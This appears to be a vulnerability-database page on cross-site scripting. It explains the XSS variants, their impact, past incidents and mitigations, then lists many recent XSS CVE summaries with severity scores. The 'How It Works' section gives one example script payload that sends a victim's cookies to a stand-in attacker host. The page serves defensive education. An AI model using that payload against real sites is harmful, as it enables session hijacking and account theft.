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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39067)

EPSS 1% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in za-internet C-MOR Video Surveillance 5.2401 and 6.00PL01. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS C Mor Video Surveillance
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting vulnerability in ZZCMS v.2023 and before allows a remote attacker to obtain sensitive information via the HTTP_Referer header of the caina.php component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Zzcms
NVD GitHub
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was determined in ABCD ABCD2 up to 2.2.0-beta-1. Rated low severity (CVSS 2.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Abcd
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Semtek Informatics Software Consulting Inc. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Semtek Sempos
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A sensitive information disclosure vulnerability exists in ZZCMS v.2023 and before within the eginfo.php file located at /3/E_bak5.1/upload/. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Information Disclosure +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in ZZCMS v.2023 and before allows a remote attacker to obtain sensitive information via a crafted script to the pagename parameter of the admin/del.php component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Zzcms
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in alwindoss akademy up to 35caccea888ed63d5489e211c99edff1f62efdba. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Akademy
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross Site Scripting (XSS) vulnerability through the action parameter in index.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Raspcontrol
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Attributes for Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘attributesForBlocks’ parameter in all versions up to, and including, 1.0.6 due to insufficient. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Attributes For Blocks
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The The Ultimate WordPress Toolkit - WP Extended plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the page parameter in all versions up to, and including, 3.0.8 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wp Extended
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The The Ultimate WordPress Toolkit - WP Extended plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘selected_option’ parameter in all versions up to, and including, 3.0.8. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wp Extended
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Blockspare: Gutenberg Blocks & Patterns for Blogs, Magazines, Business Sites - Post Grids, Sliders, Carousels, Counters, Page Builder & Starter Site Imports, No Coding Needed plugin for WordPress. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Blockspare
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Secure Copy Content Protection and Content Locking WordPress plugin before 4.1.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Secure Copy Content Protection And Content Locking
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Secure Copy Content Protection and Content Locking WordPress plugin before 4.1.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Secure Copy Content Protection And Content Locking
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Chatbot Support AI: Free ChatGPT Chatbot, Woocommerce Chatbot WordPress plugin through 1.0.2 does not sanitise and escape some of its settings, which could allow high privilege users such as. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Chatbot Support Ai
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Sign-up Sheets WordPress plugin before 2.2.13 does not escape some generated URLs, as well as the $_SERVER['REQUEST_URI'] parameter before outputting them back in attributes, which could lead to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Sign Up Sheets
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Pagefind, a fully static search library, initializes its dynamic JavaScript and WebAssembly files relative to the location of the first script the user loads. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Pagefind
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

SquaredUp DS for SCOM 6.2.1.11104 allows XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Squaredup Ds For Scom
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Xibo is an open source digital signage platform with a web content management system (CMS). Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Xibo
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A cross-site scripting (XSS) vulnerability in SysPass 3.2.x allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the name parameter at. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Syspass
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

A CSV injection vulnerability in Lime Survey v6.5.12 allows attackers to execute arbitrary code via uploading a crafted CSV file. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

RCE XSS Limesurvey
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Xibo is an open source digital signage platform with a web content management system (CMS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Xibo
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

An ActiveMQ Discovery service was reachable by default from an OpenEdge Management installation when an OEE/OEM auto-discovery feature was activated. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Authentication Bypass XSS Openedge
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

Multiple prompts and panels from both Firefox and the Android OS could be used to obscure the notification announcing the transition to fullscreen mode after the fix for CVE-2023-6870 in Firefox 121. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Google Mozilla +1
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the component admin_collect_news.php of SeaCMS v12.9 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Seacms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected cross-site scripting (XSS) vulnerability in the CGI program "dynamic_script.cgi" of Zyxel ATP series firmware versions from V4.32 through V5.38, USG FLEX series firmware versions from. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Zyxel XSS Zld
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Electron desktop application of Rocket.Chat through 6.3.4 allows stored XSS via links in an uploaded file, related to failure to use a separate browser upon encountering third-party external. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Rocket Chat
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NAC Telecommunication Systems Inc. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nacpremium
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Jellyfin is an open source self hosted media server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Exposure of Sensitive Information vulnerability could allow attackers to access sensitive data that should not be disclosed.

XSS Information Disclosure Jellyfin
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Halo is an open source website building tool. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Halo
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

eLabFTW is an open source electronic lab notebook for research labs. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Elabftw
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A stored Cross-site Scripting (XSS) vulnerability affecting ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an attacker to execute. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A stored Cross-site Scripting (XSS) vulnerability affecting 3DSwym in 3DSwymer on Release 3DEXPERIENCE R2024x allows an attacker to execute arbitrary script code in user's browser session. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3Dexperience
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A stored Cross-site Scripting (XSS) vulnerability affecting 3DDashboard in 3DSwymer from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2024x allows an attacker to execute arbitrary script. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3Dexperience
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A stored Cross-site Scripting (XSS) vulnerability affecting 3DDashboard in 3DSwymer on Release 3DEXPERIENCE R2024x allows an attacker to execute arbitrary script code in user's browser session. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3Dexperience
NVD
EPSS 0% CVSS 2.3
LOW Monitor

Improper neutralization of input in Checkmk before version 2.3.0p14 allows attackers to inject and run malicious scripts in the Robotmk logs view. Rated low severity (CVSS 2.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Checkmk
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Flaming Forms WordPress plugin through 1.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Flaming Forms
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Flaming Forms WordPress plugin through 1.0.1 does not sanitise and escape some parameters, which could allow unauthenticated users to perform Cross-Site Scripting attacks against administrators. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Flaming Forms
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Ninja Forms WordPress plugin before 3.8.11 does not escape an URL before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Ninja Forms
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

CodeAstro MembershipM-PHP (aka Membership Management System in PHP) 1.0 allows add_members.php fullname stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Membership Management System
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic was found in Grocy up to 4.2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Upload Grocy
NVD VulDB
EPSS 1% CVSS 6.9
MEDIUM This Month

A vulnerability was found in code-projects Pharmacy Management System 1.0. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Pharmacy Management System
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

The Share This Image plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'alignment' parameter in all versions up to, and including, 2.01 due to insufficient input sanitization. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Share This Image
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The WPZOOM Portfolio Lite - Filterable Portfolio Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘align’ attribute within the 'wp:wpzoom-blocks' Gutenberg block in. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wpzoom Portfolio
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The tagDiv Composer plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘envato_code[]’ parameter in all versions up to, and including, 5.0 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Tagdiv Composer
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The tagDiv Composer plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘envato_code[]’ parameter in all versions up to, and including, 5.0 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Tagdiv Composer
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Multiple stored cross-site scripting (“XSS”) vulnerabilities in the markdown dashboard and dashboard comment functionality of Lightdash version 0.1024.6 allows remote authenticated threat actors to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

TpMeCMS 1.3.3.2 is vulnerable to Cross Site Scripting (XSS) in /h.php/page?ref=addtabs via the "Title," "Images," and "Content" fields. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Tpmecms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Seacms v13 is vulnerable to Cross Site Scripting (XSS) via admin-video.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Seacms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

ShopXO 6.2 is vulnerable to Cross Site Scripting (XSS) in the backend that allows attackers to execute code by changing POST parameters. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Shopxo
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

svelte performance oriented web framework. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Svelte
NVD GitHub
EPSS 0% CVSS 3.5
LOW POC Monitor

A cross-site scripting (XSS) vulnerability in the component admin_datarelate.php of SeaCMS v12.9 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Seacms
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in SourceCodester Contact Manager with Export to VCF 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Contact Manager With Export To Vcf
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The WP Booking Calendar plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via several parameters from 'timeline_obj' in all versions up to, and including, 10.5 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wp Booking Calendar
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Elementor Addon Elements plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple widgets in all versions up to, and including, 1.13.6 due to insufficient input sanitization. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Elementor Addon Elements
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability exists in ELECOM wireless access points due to improper processing of input values in menu.cgi. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Wab S1167 Ps Firmware Wab I1750 Ps Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability exists in WRC-X3000GS2-B, WRC-X3000GS2-W, WRC-X3000GS2A-B and WRC-X3000GST2-B due to improper processing of input values in easysetup.cgi. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Wrc X3000Gs2 B Firmware Wrc X3000Gs2 W Firmware +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The HubSpot - CRM, Email Marketing, Live Chat, Forms & Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'url' attribute of the HubSpot Meeting Widget in all. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Hubspot
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Betheme theme for WordPress is vulnerable to Stored Cross-Site Scripting via several of the plugin's shortcodes in all versions up to, and including, 27.5.6 due to insufficient input sanitization. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Betheme
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Enfold - Responsive Multi-Purpose Theme theme for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘wrapper_class’ and 'class' parameters in all versions up to, and including, 6.0.3. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Enfold
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Memberpress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'mepr_screenname' and 'mepr_key' parameter in all versions up to, and including, 1.11.29 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Memberpress
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Elementor Addon Elements plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘id’ and 'eae_slider_animation' parameters in all versions up to, and including, 1.13.5 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Elementor Addon Elements
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Easy test Online Learning and Testing Platform from HWA JIUH DIGITAL TECHNOLOGY does not properly validate a specific page parameter, allowing remote attackers with regular privilege to inject. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Easy Test Online Learning And Testing Platform
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

unmark 1.9.2 is vulnerable to Cross Site Scripting (XSS) via application/views/marks/add_by_url.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Unmark
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Organizr v1.90 is vulnerable to Cross Site Scripting (XSS) via api.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Organizr
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

phpipam 1.6 is vulnerable to Cross Site Scripting (XSS) via app\admin\import-export\import-load-data.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Phpipam
NVD GitHub Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

bjyadmin commit a560fd5 is vulnerable to Cross Site Scripting (XSS) via Public/statics/umeditor1_2_3/php/getContent.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Bjyadmin
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

bjyadmin commit a560fd5 is vulnerable to Cross Site Scripting (XSS) via Public/statics/umeditor1_2_3/php/imageUp.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Bjyadmin
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

openflights commit 5234b5b is vulnerable to Cross-Site Scripting (XSS) via php/alsearch.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Openflights
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

openflights commit 5234b5b is vulnerable to Cross-Site Scripting (XSS) via php/settings.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Openflights
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

openflights commit 5234b5b is vulnerable to Cross-Site Scripting (XSS) via php/submit.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Openflights
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

openflights commit 5234b5b is vulnerable to Cross-Site Scripting (XSS) via php/trip.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Openflights
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Magic Post Thumbnail allows Reflected XSS.2.9. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Magic Post Thumbnail
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Jegstudio Gutenverse allows Stored XSS.9.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Gutenverse
NVD
EPSS 0% CVSS 6.5
MEDIUM PATCH This Month

Serilog before v2.1.0 was discovered to contain a Client IP Spoofing vulnerability, which allows attackers to falsify their IP addresses by specifying an arbitrary IP as a value of X-Forwarded-For or. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Serilog Enrichers Clientinfo
NVD GitHub
EPSS 1% CVSS 9.6
CRITICAL Act Now

A reflected cross-site scripting (XSS) vulnerability in the viewname parameter in the index page of vTiger CRM 7.4.0 allows attackers to execute arbitrary code in the context of a user's browser via. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Vtiger Crm
NVD
EPSS 1% CVSS 9.6
CRITICAL Act Now

A reflected cross-site scripting (XSS) vulnerability in the parent parameter in the index page of vTiger CRM 7.4.0 allows attackers to execute arbitrary code in the context of a user's browser via. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Vtiger Crm
NVD
EPSS 1% CVSS 9.6
CRITICAL Act Now

A reflected cross-site scripting (XSS) vulnerability in the tag parameter in the index page of vTiger CRM 7.4.0 allows attackers to execute arbitrary code in the context of a user's browser via. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Vtiger Crm
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A cross-site scripting (XSS) vulnerability in DedeBIZ v6.3.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Dedebiz
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A cross-site scripting (XSS) vulnerability in DedeBIZ v6.3.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Dedebiz
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Michael Leithold DSGVO All in one for WP allows Stored XSS.5. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Dsgvo All In One For Wp
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

